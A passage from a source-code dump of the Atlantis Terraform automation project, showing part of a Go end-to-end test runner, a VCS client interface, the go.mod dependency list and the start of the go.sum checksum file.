Request Link: %s \n", result.pullRequestURL) fmt.Printf("Atlantis Run Status: %s \n", result.testResult) fmt.Println("---------------------------") } if err != nil { log.Fatalf(fmt.Sprintf("%s", err)) } } func cleanDir(path string) error { return os.RemoveAll(path) } func startTests(ctx context.Context, e2e E2ETester) ([]*E2EResult, error) { var testResults []*E2EResult var testErrors *multierror.Error // delete webhook when we are done running tests defer e2e.vcsClient.DeleteAtlantisHook(ctx, e2e.hookID) // nolint: errcheck for _, projectType := range projectTypes { log.Printf("starting e2e test for project type %q", projectType.Name) e2e.projectType = projectType // start e2e test result, err := e2e.Start(ctx) testResults = append(testResults, result) testErrors = multierror.Append(testErrors, err) } return testResults, testErrors.ErrorOrNil() } ================================================ FILE: e2e/vcs.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package main import "context" type VCSClient interface { Clone(cloneDir string) error CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) DeleteAtlantisHook(ctx context.Context, hookID int64) error CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) ClosePullRequest(ctx context.Context, pullRequestNumber int) error DeleteBranch(ctx context.Context, branchName string) error IsAtlantisInProgress(state string) bool DidAtlantisSucceed(state string) bool } ================================================ FILE: go.mod ================================================ module github.com/runatlantis/atlantis go 1.25.4 require ( code.gitea.io/sdk/gitea v0.23.2 github.com/Masterminds/sprig/v3 v3.3.0 github.com/alicebob/miniredis/v2 v2.36.1 github.com/bmatcuk/doublestar/v4 v4.10.0 github.com/bradleyfalzon/ghinstallation/v2 v2.17.0 github.com/briandowns/spinner v1.23.2 github.com/cactus/go-statsd-client/v5 v5.1.0 github.com/drmaxgit/go-azuredevops v0.13.2 github.com/go-ozzo/ozzo-validation v3.6.0+incompatible github.com/go-playground/validator/v10 v10.30.1 github.com/go-test/deep v1.1.1 github.com/gofri/go-github-ratelimit v1.1.1 github.com/golang-jwt/jwt/v5 v5.3.1 github.com/google/go-github/v83 v83.0.0 github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 github.com/google/uuid v1.6.0 github.com/gorilla/mux v1.8.1 github.com/gorilla/websocket v1.5.3 github.com/hashicorp/go-getter/v2 v2.2.3 github.com/hashicorp/go-version v1.7.0 github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/hashicorp/hc-install v0.9.2 github.com/hashicorp/terraform-config-inspect v0.0.0-20260210152655-f4be3ba97d94 github.com/jpillora/backoff v1.0.0 github.com/kr/pretty v0.3.1 github.com/microcosm-cc/bluemonday v1.0.27 github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db github.com/mitchellh/go-homedir v1.1.0 github.com/moby/patternmatcher v0.6.0 github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 github.com/opentofu/tofudl v0.0.1 github.com/petergtz/pegomock/v4 v4.3.0 github.com/pkg/errors v0.9.1 github.com/redis/go-redis/v9 v9.17.3 github.com/remeh/sizedwaitgroup v1.0.0 github.com/shurcooL/githubv4 v0.0.0-20260209031235-2402fdf4a9ed github.com/slack-go/slack v0.16.0 github.com/spf13/cobra v1.10.2 github.com/spf13/pflag v1.0.10 github.com/spf13/viper v1.21.0 github.com/stretchr/testify v1.11.1 github.com/uber-go/tally/v4 v4.1.17 github.com/urfave/negroni/v3 v3.1.1 gitlab.com/gitlab-org/api/client-go v0.118.0 go.etcd.io/bbolt v1.4.3 go.uber.org/mock v0.6.0 go.uber.org/zap v1.27.1 golang.org/x/term v0.40.0 golang.org/x/text v0.34.0 gopkg.in/yaml.v3 v3.0.1 ) require ( github.com/agext/levenshtein v1.2.3 github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect github.com/hashicorp/hcl/v2 v2.24.0 github.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29 // indirect go.uber.org/atomic v1.11.0 // indirect ) require github.com/twmb/murmur3 v1.1.8 // indirect require ( dario.cat/mergo v1.0.1 // indirect github.com/42wim/httpsig v1.2.3 // indirect github.com/Masterminds/goutils v1.1.1 // indirect github.com/Masterminds/semver/v3 v3.4.0 // indirect github.com/ProtonMail/go-crypto v1.1.6 // indirect github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f // indirect github.com/ProtonMail/gopenpgp/v2 v2.7.5 // indirect github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/aymerick/douceur v0.2.0 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/cloudflare/circl v1.6.3 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect github.com/davidmz/go-pageant v1.0.2 // indirect github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect github.com/fatih/color v1.16.0 // indirect github.com/fsnotify/fsnotify v1.9.0 // indirect github.com/gabriel-vasile/mimetype v1.4.12 // indirect github.com/go-fed/httpsig v1.1.0 // indirect github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-viper/mapstructure/v2 v2.4.0 // indirect github.com/golang-jwt/jwt/v4 v4.5.2 // indirect github.com/golang/mock v1.6.0 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.7.0 // indirect github.com/google/go-github/v75 v75.0.0 // indirect github.com/google/go-querystring v1.2.0 // indirect github.com/gorilla/css v1.0.1 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-retryablehttp v0.7.7 // indirect github.com/hashicorp/go-safetemp v1.0.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.5.0 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/klauspost/compress v1.17.2 // indirect github.com/kr/text v0.2.0 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect github.com/mitchellh/copystructure v1.2.0 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect github.com/mitchellh/go-wordwrap v1.0.1 // indirect github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/onsi/gomega v1.38.2 // indirect github.com/pelletier/go-toml/v2 v2.2.4 // indirect github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect github.com/prometheus/client_golang v1.12.1 // indirect github.com/prometheus/client_model v0.2.0 // indirect github.com/prometheus/common v0.34.0 // indirect github.com/prometheus/procfs v0.10.1 // indirect github.com/rogpeppe/go-internal v1.9.0 // indirect github.com/sagikazarmark/locafero v0.11.0 // indirect github.com/shopspring/decimal v1.4.0 // indirect github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect github.com/spf13/afero v1.15.0 // indirect github.com/spf13/cast v1.10.0 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/ulikunitz/xz v0.5.15 // indirect github.com/yuin/gopher-lua v1.1.1 // indirect github.com/zclconf/go-cty v1.16.3 // indirect go.uber.org/multierr v1.11.0 // indirect go.yaml.in/yaml/v3 v3.0.4 // indirect golang.org/x/crypto v0.47.0 // indirect golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect golang.org/x/mod v0.32.0 // indirect golang.org/x/net v0.49.0 // indirect golang.org/x/oauth2 v0.27.0 // indirect golang.org/x/sync v0.19.0 // indirect golang.org/x/sys v0.41.0 // indirect golang.org/x/time v0.8.0 // indirect golang.org/x/tools v0.41.0 // indirect google.golang.org/protobuf v1.36.7 // indirect ) ================================================ FILE: go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= code.gitea.io/sdk/gitea v0.23.2 h1:iJB1FDmLegwfwjX8gotBDHdPSbk/ZR8V9VmEJaVsJYg= code.gitea.io/sdk/gitea v0.23.2/go.mod h1:yyF5+GhljqvA30sRDreoyHILruNiy4ASufugzYg0VHM= dario.cat/mergo v1.0.1 h1:Ra4+bf83h2ztPIQYNP99R6m+Y7KfnARDfID+a+vLl4s= dario.cat/mergo v1.0.1/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/42wim/httpsig v1.2.3 h1:xb0YyWhkYj57SPtfSttIobJUPJZB9as1nsfo7KWVcEs= github.com/42wim/httpsig v1.2.3/go.mod h1:nZq9OlYKDrUBhptd77IHx4/sZZD+IxTBADvAPI9G/EM= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0= github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM= github.com/Masterminds/sprig/v3 v3.3.0 h1:mQh0Yrg1XPo6vjYXgtf5OtijNAKJRNcTdOOGZe3tPhs= github.com/Masterminds/sprig/v3 v3.3.0/go.mod h1:Zy1iXRYNqNLUolqCpL4uhk6SHUMAOSCzdgBfDb35Lz0= github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= github.com/ProtonMail/go-crypto v0.0.0-20230717121422-5aa5874ade95/go.mod h1:EjAoLdwvbIOoOQr3ihjnSoLZRtE8azugULFRteWMNc0= github.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw= github.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE= github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f h1:tCbYj7/299ekTTXpdwKYF8eBlsYsDVoggDAuAjoK66k= github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f/go.mod h1:gcr0kNtGBqin9zDW9GOHcVntrwnjrK+qdJ06mWYBybw= github.com/ProtonMail/gopenpgp/v2 v2.7.5 h1:STOY3vgES59gNgoOt2w0nyHBjKViB/qSg7NjbQWPJkA= github.com/ProtonMail/gopenpgp/v2 v2.7.5/go.mod h1:IhkNEDaxec6NyzSI0PlxapinnwPVIESk8/76da3Ct3g= github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= github.com/alicebob/miniredis/v2 v2.36.1 h1:Dvc5oAnNOr7BIfPn7tF269U8DvRW1dBG2D5n0WrfYMI= github.com/alicebob/miniredis/v2 v2.36.1/go.mod h1:TcL7YfarKPGDAthEtl5NBeHZfeUQj6OXMm/+iu5cLMM= github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= github.com/bmatcuk/doublestar/v4 v4.10.0 h1:zU9WiOla1YA122oLM6i4EXvGW62DvKZVxIe6TYWexEs= github.com/bmatcuk/doublestar/v4 v4.10.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc= github.com/bradleyfalzon/ghinstallation/v2 v2.17.0 h1:SmbUK/GxpAspRjSQbB6ARvH+ArzlNzTtHydNyXUQ6zg= github.com/bradleyfalzon/ghinstallation/v2 v2.17.0/go.mod h1:vuD/xvJT9Y+ZVZRv4HQ42cMyPFIYqpc7AbB4Gvt/DlY= github.com/briandowns/spinner v1.23.2 h1:Zc6ecUnI+YzLmJniCfDNaMbW0Wid1d5+qcTq4L2FW8w= github.com/briandowns/spinner v1.23.2/go.mod h1:LaZeM4wm2Ywy6vO571mvhQNRcWfRUnXOs0RcKV0wYKM= github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= github.com/bwesterb/go-ristretto v1.2.3/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0= github.com/cactus/go-statsd-client/v5 v5.1.0 h1:sbbdfIl9PgisjEoXzvXI1lwUKWElngsjJKaZeC021P4= github.com/cactus/go-statsd-client/v5 v5.1.0/go.mod h1:COEvJ1E+/E2L4q6QE5CkjWPi4eeDw9maJBMIuMPBZbY= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cloudflare/circl v1.3.3/go.mod h1:5XYMA4rFBvNIrhs50XuiBJ15vF2pZn4nnUKZrLbUZFA= github.com/cloudflare/circl v1.6.3 h1:9GPOhQGF9MCYUeXyMYlqTR6a5gTrgR/fBLXvUgtVcg8= github.com/cloudflare/circl v1.6.3/go.mod h1:2eXP6Qfat4O/Yhh8BznvKnJ+uzEoTQ6jVKJRn81BiS4= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/cyphar/filepath-securejoin v0.4.1 h1:JyxxyPEaktOD+GAnqIqTf9A8tHyAG22rowi7HkoSU1s= github.com/cyphar/filepath-securejoin v0.4.1/go.mod h1:Sdj7gXlvMcPZsbhwhQ33GguGLDGQL7h7bg04C/+u9jI= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davidmz/go-pageant v1.0.2 h1:bPblRCh5jGU+Uptpz6LgMZGD5hJoOt7otgT454WvHn0= github.com/davidmz/go-pageant v1.0.2/go.mod h1:P2EDDnMqIwG5Rrp05dTRITj9z2zpGcD9efWSkTNKLIE= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/drmaxgit/go-azuredevops v0.13.2 h1:wcY3X8vVkidVpILwPqUiF8xNtELpvjdv6QkNWcZyHu8= github.com/drmaxgit/go-azuredevops v0.13.2/go.mod h1:m1pO2fW60I9FahzLHMmHYq3bM446ZMZKDpd8+AEKzxc= github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k= github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= github.com/gabriel-vasile/mimetype v1.4.12 h1:e9hWvmLYvtp846tLHam2o++qitpguFiYCKbn0w9jyqw= github.com/gabriel-vasile/mimetype v1.4.12/go.mod h1:d+9Oxyo1wTzWdyVUPMmXFvp4F9tea18J8ufA774AB3s= github.com/go-fed/httpsig v1.1.0 h1:9M+hb0jkEICD8/cAiNqEB66R87tTINszBRTjwjQzWcI= github.com/go-fed/httpsig v1.1.0/go.mod h1:RCMrTZvN1bJYtofsG4rd5NaO5obxQ5xBkdiS7xsT7bM= github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI= github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376/go.mod h1:an3vInlBmSxCcxctByoQdvwPiA7DTK7jaaFDBTtu0ic= github.com/go-git/go-billy/v5 v5.6.2 h1:6Q86EsPXMa7c3YZ3aLAQsMA0VlWmy43r6FHqa/UNbRM= github.com/go-git/go-billy/v5 v5.6.2/go.mod h1:rcFC2rAsp/erv7CMz9GczHcuD0D32fWzH+MJAU+jaUU= github.com/go-git/go-git/v5 v5.14.0 h1:/MD3lCrGjCen5WfEAzKg00MJJffKhC8gzS80ycmCi60= github.com/go-git/go-git/v5 v5.14.0/go.mod h1:Z5Xhoia5PcWA3NF8vRLURn9E5FRhSl7dGj9ItW3Wk5k= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= github.com/go-kit/log v0.2.0/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-logfmt/logfmt v0.5.1/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs= github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= github.com/go-logr/logr v1.4.3/go.mod 